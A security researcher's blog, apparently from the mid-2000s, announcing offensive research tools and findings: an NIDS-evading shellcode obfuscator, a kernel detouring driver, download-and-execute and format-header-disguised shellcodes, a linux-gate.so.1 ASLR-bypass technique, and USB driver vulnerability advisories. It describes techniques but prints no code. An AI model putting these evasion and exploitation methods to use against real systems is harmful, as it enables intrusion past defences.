izik

Hello,

Now days I am starting my job hunt. I am looking for a job in the IT security field, and it's related areas / R&D.

If your company is currently hiring, I would be glad to hear from you, CV will be sent on demand. In the mean while you are more then welcome to browse my projects in the site, to get the general impression of my skills and personal interests are. My current country of residence is Israel, yet going abroad for a job is more then a happy thought for me :)

I am happy to announce on the release of shcfuscator, thought it's still a beta and a proof of concept tool. It hopefully will show that NIDS signatures have a long way and a new challenge to face [regexp this!]. The shcfuscator is a true code level obfuscator which accepts a shellcode (in source level) and produce a whole new shellcode in the output, which follows the same logic as the accepted but implemented in a whole different way. Which also implies that it's byte-level design is totally different. All though I wrote this for shellcode-NIDS-evading purposes, it's not limited to. It's written in Python [tested on 2.4.4] and can be also used for various quick (or clean) parsing of AT&T assembly files and their obfuscating.

SHCFUSCATOR (.tar.gz)

I had to do an inline function hooking (aka. Detouring) to accomplish some task. When I've started looking around for example in rootkits source codes, it turns out no rootkit is actually using this method. It's makes sense in a way since it's much easier to hook functions within service tables when trying to intercept calls from applications to the kernel, but as far as intercepting functions within the same module (driver) it won't work. Since I couldn't find anything, I have then decided to write my own detouring driver, now I am publishing it for educational purpose only ;-)

KREMBO is a Windows driver which detours nt!RtlRandom (for no particular reason, just as a proof of concept). It's well commented and includes debug prints. I have successfully compiled it with Windows DDK 3790.1830. The zip includes in it, both the source code and an already compiled (in checked environment) driver.

KREMBO (.zip)

I have finally opened the Presentations section on the site, so now all my presentations can be freely accessed and downloaded. My latest presentation is on the Shellcode Evolution topic, it's already being uploaded and can be viewed here

Hey,

I am at Basil at the moment and it's a kicking ass place to be. I am giving a talk at the H2HC conference on the shellcode evolution research. I will sure to include the presentation in a later post. The entire research paper on this topic would be published in the January edition of the Hakin9 magazine.

While I am slowly but surely cruching Pinky into a smaller size. I have decided to take a short pause and see what's further can be done with it. I've figured if I would strip it's logic, I could easily create a shellcode skeleton off it. As it's already being designed in shellcode style in mind, which shows in terms of it's execution environment and implementation. Why not making a shellcode outta of it? ;-)

HTTP-DOWNLOAD-EXEC (.c|.s)

Hello,

Lately a new mailing list opened called Code-Crunchers which is occupied by assembly freaks from all flavors and types.

Currently on the mailing list you can find two challenges running. The TinyPE and ELF, in each the goal is to reach the smallest possible size of the binary while keeping a set of rules and of course implement a certain logic. Right now the logic for both challenges are that's the binary has to fetch a file from a web site (any web site, preferably your own) and launch it afterward. Sounds simple, uh? :)

You can find my post on the mailing list introductioning Pinky (the TinyELF challenge) to the game, Pinky is a lightweight boxer that weights only 297 bytes and already running for the title.

Click here for the post.

As part of the auditing project that I am running in Safend. Auditing various physical ports and devices for security vurnabilities, the results from this large scale project begins to show. This advisory is one of a many thats show the poteinal of attack within the physical security field and at all. All though this advisory per say is not something useful to play with, its still a sign for whats about to come in the near future.

This low-risk vulnerability in AnywhereUSB/5 1.80.00 allows an attacker to forge an AnywhereUSB server, so that if a client connects to it, it can be hit with a denial of service attack.

This integer overflow in version 1.80.00 of AnywhereUSB/5 drivers package distributed for Windows NT 4.0/2000/XP and 2003. could allow attackers to Bugcheck (BSOD) currently connected clients on demand, or any new client upon connection.

The original advisory can be found here

Scrabble is an IDC script for IDA that finds refactorable code parts that could be used during exploitation.

Refactorable code parts have a potenial to become a return address if they follow some logic rules, and placed within a comfortable location in the code. As the purpose of a return address is exploits is to transfer the control to the shellcode. Instructions such as JMP and CALL are ideal to refactor, some exploitation scenario lets the attacker change some registers, or at times leaves the registers with some values that could trace back to the shellcode. Finding a JMP or CALL instruction to the same register would act become a return address. The benfit of having a return address based of a code instruction is removing the dependency on stack mapping and stack addresses. Thus making it possible to bypass various protection schemes such as stack randomizing, to name one.

Download SCRABBLE.IDC

Lately i've got back to do some tasks around userland in Windows. Of course thats call out for using OllyDbg again. OllyDbg is my favorite debugger. All though I got used to Windbg, still I still think for a quick userland tasks there is nothing like Ollydbg. Been a freak of automation as I am, quickly my eyes turned to look for an automation options within the debugger. The answer came from a plug-in called OllyScript. I was working with that plug-in in the past for quick things such as API looking and spying on data.

It seems that the development of the OllyScript plug-in has stopped somewhere around July 2004. And some of the features that I was looking for weren't there. So I did what every good GNU coder does, and started working on these features myself. from here to there, I ended up packing a new release of the OllyScript plug-in [v0.93] with some new nifty features in it!

It's official.

I have uncovered a series of security vulnerabilities within Microsoft USB device drivers.

The vulnerabilities were found during testing sessions, made upon the company product Safend Protector 3.0. In potential some of the vulnerabilities that were found, when exploited can result in a code exceution or memory disclosure situations. Also in their simplified matter, they can be used for DoS purposes, which in that case results in a quick and painful Bugcheck (BSOD).

I am not going with this to a full-disclosure yet, As I have contacted Microsoft and reported to them on the vulnerabilities . So they are currently working out to release patches. From early testing results, it shows that the vulnerabilities exists on both Windows XP SP2 and Windows 2k3, both in their out-of-the-box configuration.

To be continue ... ;-)

Hello folks,

I haven't updated my blog in quite a while. This is mostly to due work, which seems to takes a lot of my time these days (as usual) and whatever time left. I am trying my best to redirect toward anything and everything else. What can I say life isn't a picnic ;-)

What's on the menu?

I will be releasing a number of advisories through Safend (the company I am working for) regarding security ivulnerabilities which I've researched and found within Windows (XP; SP2) more on the subject in the near future.

Beside that Reverse Engineering and binary auditing in particular, seems to be my theme at the moment. Hopefuly soon enough I will find time to release a couple ideas i've getherd. So y'all can expect my future releases to dealing around this issue. And my playground to be a little closer to debuggers and disassemblers, such as IDA for an instance.

That's all to it for now.

Breaking up the radio silence. I've just finished another series of shellcodes and going to shortly discuss 'em over. These shellcodes are different by incorporating a signature of a common header/format in each of them. These format header signatures are placed in the shellcode top and by so are partly simulating the very same format. The concept behind it, is to help the shellcode slide by through data channels (such as TCP/IP). And evade any suspicious looking eye that might be watching such over the traffic as IDS/IPS, trying to fool it by pretending to contains a legit payload. This is an ideal soultion for attacks that takes place at data transfer phase of various protocols (e.g. FTP) where it's possible to perform a strict context filter upon incoming data.

Currently there are four shellcodes, each with a different header signature. The shellcode functionality in this case is irelevent, and can be changed freely. The importend part is located in the shellcode top (which is marked in each shellcode) and it's the format header signature. The signature can be freely moved to another shellcode, as all the signatures are translated into a valid assembly instructions, ones that are not interfering with the shellcode flow.

SH-EXECVE-ZIPHDR (.c|.s)
SH-EXECVE-RIFFHDR (.c|.s)
SH-EXECVE-RTFHDR (.c|.s)
SH-EXECVE-BM24BHDR (.c|.s)

Have fuqn!

A month ago I've posted here data on some progress I've made in the research against the VA patch. From that research I've managed to build a proof of concept exploit (with a matching dummy vulnerability) that is (ab)using the linux-gate.so.1 dso to get a return address trampoline back, and by doing so it's bypassing the VA patch. On top of that a feature that tags along with this situation and it's exploiation. Is that it's narrow downs the needs to have servel return addresses (depends on the platform, arch, version and etc) within the exploit. Basically putting the focus only on the target Linux kernel release.

After all that study I've decided to go on and publish a proper article, the article called 'Exploiting with linux-gate.so.1' and was published in the Neworder Newsletter #13 it includes a short review on the linux-gate.so.1 background (only exists in 2.6.x kernels, and ment to bridge on the lost of EBP register in a syscall with 6 or more args) the logic behind it (linux-gate.so.1 has a patchy integration and overcoming the VA on the way with static mapping), and ofcourse what is the key, that an exploit can use (linux-gate.so.1, happens to include a 'FFE4' byte sequence, in somewhat a static offset - that allows to be used as 'JMP *%ESP' for return address, and it's code). The published article contains a dummy vulnerability, matching exploit, and a stand alone scanner. These files were already released and can be found here.

Feedbacks are always welcomed :)

Since I don't got much free time as I've used to. These days I'm working on organizing some sort of a work plan for my personal future projects. I've got a lot of ideas (some are good, some are bad) and I'm trying to see what should go first and what will go away. In the meanwhile I will try to keep small things such as the shellcode collection (which I've notice already got used within a couple of exploits) bigger and a few small papers/research studies that I've got locked down. And working on big projects which will be released in yearly scope.

I am always open to suggestions, so if anyone out there has an interesting project, which he needs some man power on it or got some good idea and looking for somebody to kick it with. I am always happy to hear about it :)